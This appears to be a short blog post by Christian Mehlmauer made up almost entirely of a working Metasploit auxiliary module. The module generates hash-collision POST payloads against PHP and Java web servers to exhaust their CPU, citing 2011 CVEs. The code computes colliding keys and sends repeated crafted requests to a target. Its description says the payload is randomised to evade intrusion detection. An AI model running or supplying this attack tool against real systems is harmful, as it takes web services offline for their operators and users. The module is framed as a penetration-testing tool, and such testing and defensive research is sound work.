Ported my Hashcollision Script to Ruby
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Christian Mehlmauer
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Hashtable collisions',
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'Description' => %q{
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A variety of programming languages suffer from a denial-of-service (DoS) condition against storage functions
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of key/value pairs in hash data structures, the condition can be leveraged by exploiting predictable collisions
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in the underlying hashing algorithms.
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The issue finds particular exposure in web server applications and/or frameworks. In particular, the lack of
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sufficient limits for the number of parameters in POST requests in conjunction with the predictable collision
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properties in the hashing functions of the underlying languages can render web applications vulnerable to the
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DoS condition. The attacker, using specially crafted HTTP requests, can lead to a 100% of CPU usage which can
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last up to several hours depending on the targeted application and server performance, the amplification
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effect is considerable and requires little bandwidth and time on the attacker side.
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Tested with PHP + httpd, Tomcat, Glassfish, Geronimo. Generates a random Payload to bypass IDS.
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},
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'Author' =>
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[
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'Christian Mehlmauer <FireFart[at]gmail.com>'
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['URL', 'http://www.ocert.org/advisories/ocert-2011-003.html'],
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['URL', 'http://www.nruns.com/_downloads/advisory28122011.pdf'],
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['CVE', '2011-5034'],
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['CVE', '2011-5035'],
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['CVE', '2011-4885'],
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['CVE', '2011-4858']
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],
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'DisclosureDate' => 'Dec 28 2011'))
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register_options(
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[
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Opt::RPORT(80),
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OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]),
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OptString.new('URL', [ true, "The request URI", '/' ]),
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OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ]),
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OptString.new('VHOST', [ false, "Name of VHost", nil ]),
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OptBool.new('VERBOSE', [ false, "Verbose Output", true ])
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], self.class)
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register_advanced_options(
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[
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OptInt.new('recursivemax', [false, "Maximum recursions when searching for collisionchars", 15]),
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OptInt.new('maxpayloadsize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
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OptInt.new('collisionchars', [false, "Number of colliding chars to find", 5]),
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OptInt.new('collisioncharlength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
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OptInt.new('payloadlength', [false, "Length of each parameter in the payload", 8])
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], self.class)
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end
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def generatePayload
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# Taken from:
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# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
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@recursivecounter = 1
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collisionchars = computeCollisionChars
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return nil if collisionchars == nil
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length = datastore['payloadlength']
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size = collisionchars.length
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post = ""
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maxvaluefloat = size ** length
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maxvalueint = maxvaluefloat.floor
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print_status("Generating POST Data...")
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for i in 0.upto(maxvalueint)
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inputstring = i.to_s(size)
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result = inputstring.rjust(length, "0")
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collisionchars.each {|key, value|
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result = result.gsub(key, value)
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}
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post << "#{Rex::Text.uri_encode(result)}=&"
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end
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return post
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end
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def computeCollisionChars
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print_status("Trying to find Hashes...") if @recursivecounter == 1
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hashes = {}
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counter = 0
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length = datastore['collisioncharlength']
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a = []
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for i in @charrange
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a << i.chr
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end
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# Generate all possible strings
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source = a.repeated_permutation(length).map(&:join)
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# and pick a random one
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basestr = source.sample
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basehash = @function.call(basestr)
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hashes[counter.to_s] = basestr
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counter = counter + 1
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for item in source
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if item == basestr
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next
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end
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if @function.call(item) == basehash
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# Hooray we found a matching hash
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hashes[counter.to_s] = item
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counter = counter + 1
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end
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if counter >= datastore['collisionchars']
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break
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end
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end
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if counter < datastore['collisionchars']
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# Try it again
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if @recursivecounter > datastore['recursivemax']
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print_error("Not enought values found. Please start this script again")
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return nil
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end
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print_status("#{@recursivecounter}: Not enough values found. Trying it again...")
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@recursivecounter = @recursivecounter + 1
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hashes = computeCollisionChars
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else
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if datastore['VERBOSE']
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print_status("Found values:")
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hashes.each_value {|item|
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print_status("\tValue: #{item}\tHash: #{@function.call(item)}")
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item.each_char {|i|
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print_status("\t\tValue: #{i}\tCharcode: #{i.ord}")
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}
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}
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end
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end
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return hashes
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end
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def DJBXA(inputstring, base, start)
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counter = inputstring.length - 1
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result = start
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inputstring.each_char {|item|
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result = result + ((base ** counter) * item.ord)
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counter = counter - 1 }
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return result.round
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end
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#PHP's hash function
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def DJBX33A(inputstring)
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return DJBXA(inputstring, 33, 5381)
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end
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#Java's hash function
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def DJBX31A(inputstring)
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return DJBXA(inputstring, 31, 0)
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end
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def run
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case datastore['TARGET']
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when /php/i
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@function = method(:DJBX33A)
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@charrange = Range.new(0, 255)
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if (datastore['maxpayloadsize'] <= 0)
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datastore['maxpayloadsize'] = 8
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end
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when /java/i
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@function = method(:DJBX31A)
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@charrange = Range.new(0, 128)
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if (datastore['maxpayloadsize'] <= 0)
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datastore['maxpayloadsize'] = 2
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end
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else
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print_error("Target #{datastore['TARGET']} not supportec")
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exit
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end
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if datastore['RPORT'] == "443"
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datastore['SSL'] = true
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end
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if datastore['VHOST'].nil? || datastore['VHOST'].blank? || datastore['VHOST'].empty?
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datastore['VHOST'] = "#{datastore['RHOST']}:#{datastore['RPORT']}"
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end
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print_status("Generating Payload...")
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payload = generatePayload
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return if payload == nil
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# trim to maximum payload size (in MB)
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maxinmb = datastore['maxpayloadsize']*1024*1024
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payload = payload[0,maxinmb]
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# remove last invalid(cut off) parameter
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position = payload.rindex("=&")
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payload = payload[0,position+1]
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print_status("Payload generated")
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for x in 1..datastore['RLIMIT']
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begin
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connect
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print_status("sending Request ##{x}...")
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sploit = "POST #{datastore['URL']} HTTP/1.1\r\n"
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sploit << "Host: #{datastore['VHOST']}\r\n"
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sploit << "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n"
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sploit << "Connection: Close\r\n"
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sploit << "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)\r\n"
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sploit << "Content-Length: #{payload.length}\r\n"
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sploit << "\r\n#{payload}\r\n\r\n"
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if datastore['VERBOSE']
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if sploit.length > 400
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puts sploit[0,400] + "...."
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else
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puts sploit
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end
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end
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sock.put(sploit)
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disconnect
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("Unable to connect to #{rhost}:#{rport}.")
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disconnect
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rescue
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disconnect
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end
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end
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end
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end
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